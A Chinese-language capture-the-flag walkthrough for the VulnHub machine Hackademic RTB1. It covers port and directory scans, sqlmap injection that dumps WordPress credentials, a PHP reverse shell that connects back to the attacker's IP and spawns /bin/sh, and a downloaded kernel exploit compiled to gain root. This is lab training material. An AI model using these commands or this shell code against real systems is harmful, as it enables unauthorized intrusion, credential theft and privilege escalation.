靶机介绍

官方下载地址:https://www.vulnhub.com/entry/hackademic-rtb1,17/
image-20230921214002318
需要读取靶机的root目录下key.txt
运行环境:
虚拟机网络设置的是NAT模式
靶机:IP地址:192.168.233.131
攻击机:kali linux,IP地址:192.168.233.129

信息收集

获取靶机IP地址

image-20230921214008595

进入靶机

image-20230921214015827

用wappalyzer查看用到技术

image-20230921214024418

查看开放的端口

image-20230921214034575

扫敏感目录

1
2
3
nikto -h http://192.168.233.131
dirb http://192.168.233.131/Hackademic_RTB1/
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html -u http://192.168.233.131

image-20230921214043161

image-20230921214048356

漏洞利用

web端寻找漏洞,php页面,f12代码注入,sql注入

image-20230921214055188

sqlmap注入

1
sqlmap -u http://192.168.243.128/Hackademic_RTB1/?cat=1 --dbs --batch

image-20230921214103765

1
sqlmap -u http://192.168.233.131/Hackademic_RTB1/?cat=1 --dbms=MySQL -D wordpress --tables --batch

image-20230921214109583

1
sqlmap -u http://192.168.233.131/Hackademic_RTB1/?cat=1 --dbms=MySQL -D wordpress -T wp_users --columns --batch

image-20230921214119484

1
sqlmap -u http://192.168.233.131/Hackademic_RTB1/?cat=1 --dbms=MySQL -D wordpress -T wp_users -C user_login,user_pass --dump --batch

image-20230921214126981

GeorgeMiller、q1w2e3登录

image-20230921214132354

getshell

shell.php

1
2
3
4
5
6
7
8
<div>
<?php
$sock = fsockopen('192.168.233.129','8888');
$descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock);
$peocess = proc_open('/bin/sh',$descriptorspec,$pipes);
proc_close($process);
?>
</div>

上传shell

image-20230921214159557

image-20230921214207083

kali打开监听

image-20230921214225849

运行反弹shell

image-20230921214232106

反弹shell成功

image-20230921214238077

提权

找敏感信息

查权限文件

1
2
find / -user root -perm /4000 2>/dev/null
根目录 用户权限set uid f文件类型,没有f会有目录

image-20230921214301461

搜索内核漏洞

1
searchsploit 2.6.31

image-20230921214311793

下载到本地searchsploit -m 15285.c

image-20230921214321322

kali开启web服务器

image-20230921214328621

在靶机中下载

wget http://192.168.233.129/15285.c

wget ip地址/文件名

image-20230921214334713

编译脚本

1
gcc 15285.c -o exp

image-20230921214341920

将编译的exp赋予执行权限并执行exp

image-20230921214347976

成功到root

image-20230921214354971